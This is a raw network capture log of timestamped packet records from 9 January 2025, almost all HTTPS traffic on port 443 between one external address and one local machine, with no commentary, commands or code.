Jan 9, 2025 14:41:11.252269983 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.259923935 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.260438919 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.260586023 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.260602951 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.260617971 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.260632992 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.260648012 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.260718107 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.260857105 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.260871887 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.260890007 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.261070967 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.261086941 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.261101961 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.261116982 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.261132956 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.261147022 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.261164904 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.261238098 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.261253119 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.261384010 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.263472080 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.263920069 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.264008999 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.264024019 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.264038086 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.264051914 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.264066935 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.264081001 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.264095068 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.264111042 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.264327049 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.267473936 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.267491102 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.267505884 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.267523050 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.267538071 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.267553091 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.267566919 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.267580986 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.267596006 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.267611027 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.267834902 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.270631075 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.270648003 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.270673037 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.270693064 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.270708084 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.270721912 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.270736933 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.270751953 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.270766020 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.270782948 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.270879984 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.273865938 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.273914099 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.273931026 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.273946047 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.274202108 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.274285078 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.274434090 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.302695036 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.360032082 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.382606030 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.386234999 CET	443	64016	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.455662966 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.551112890 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.567126036 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.567445993 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.570866108 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.570918083 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.571237087 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.571705103 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.571733952 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.580156088 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.677166939 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.687020063 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.687197924 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.687249899 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.687299967 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.687359095 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.687395096 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.687411070 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.687433004 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.687654972 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.687773943 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.687807083 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.687843084 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.687875986 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.687910080 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:11.688287020 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.723679066 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:11.805978060 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.470391989 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:12.574775934 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.581893921 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.582063913 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.582113028 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.582179070 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.582225084 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.582272053 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.582319021 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.582365036 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.582415104 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.582463980 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.584592104 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:12.609159946 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:12.609555006 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:12.708391905 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737237930 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737268925 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737291098 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737308979 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737329006 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737349033 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737566948 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737566948 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:12.737587929 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737607956 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737637043 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737656116 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737674952 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737695932 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737745047 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737762928 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737780094 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737827063 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737847090 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737865925 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737898111 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737915993 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.737936020 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.738018990 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.738045931 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:12.738049984 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.738070965 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.738092899 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.738122940 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.738147020 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.738168001 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.738267899 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:12.738390923 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.738409996 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.738430977 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.738450050 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.738518000 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.738545895 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.738565922 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.738584042 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.738605022 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.738730907 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:12.738795042 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.742372036 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.742399931 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.742420912 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.742507935 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.742527962 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.742551088 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.742563009 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:12.742747068 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.742769957 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.742789984 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.742810011 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.745526075 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.745559931 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.745583057 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.745600939 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.745810032 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:12.745810032 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:12.746375084 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:12.798127890 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:12.855931997 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.903588057 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.904642105 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.904700041 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.904715061 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.904733896 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.904746056 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.904834032 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.904848099 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.904869080 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.904881001 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.904897928 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.904908895 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.904925108 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.905626059 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.905637980 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.905657053 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.905689955 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:12.909018040 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:12.909248114 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:12.934465885 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:12.935648918 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.072819948 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.072849035 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.082699060 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.082712889 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.082743883 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.083064079 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.083081961 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.083093882 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.083103895 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.083127022 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.083134890 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.083152056 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.083175898 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.083189964 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.083208084 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.083215952 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.083226919 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.083240986 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.083297968 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.083328962 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.083340883 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.083343029 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.083570957 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.086859941 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.086873055 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.086893082 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.086905003 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.086915016 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.086925983 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.086941957 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.086961031 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.086971045 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.086992025 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.087858915 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.098253012 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098268032 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098295927 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098309040 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098325014 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098336935 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098352909 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098362923 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098381042 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098395109 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098464966 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098484993 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098534107 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098548889 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098558903 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098565102 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098582983 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098614931 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098634005 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098653078 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098669052 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098684072 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098694086 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098717928 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.098742962 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098784924 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098799944 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098815918 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098830938 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098871946 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.098881006 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.099061012 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.099344015 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.129739046 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.236684084 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.253557920 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.348664045 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.356523991 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.356775999 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.356877089 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.356911898 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.357047081 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.357086897 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.357144117 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.357148886 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.357180119 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.357213974 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.357243061 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.375863075 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.483386993 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.518892050 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519114017 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519131899 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519179106 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519344091 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519494057 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519495010 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.519505978 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519517899 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519529104 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519643068 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519661903 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519674063 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519750118 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519761086 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519771099 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519798994 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519809961 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519853115 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519891024 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.519920111 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.553968906 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.555298090 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.671824932 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.671839952 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.680309057 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.680418968 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.680432081 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.680639029 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.680675983 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.680691957 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.680702925 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.680735111 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.680744886 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.692552090 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.808151960 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820152044 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820257902 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820292950 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820384026 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820416927 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820451021 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820498943 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820534945 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820554972 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.820584059 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820640087 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820688009 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820736885 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820769072 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820801973 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820833921 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820867062 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820899963 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820933104 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.820966959 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.821037054 CET	54056	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:13.823900938 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.823936939 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.823970079 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.824150085 CET	443	54056	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:13.824183941 CET	443	54056	184.28.190.59	192.168.2.4
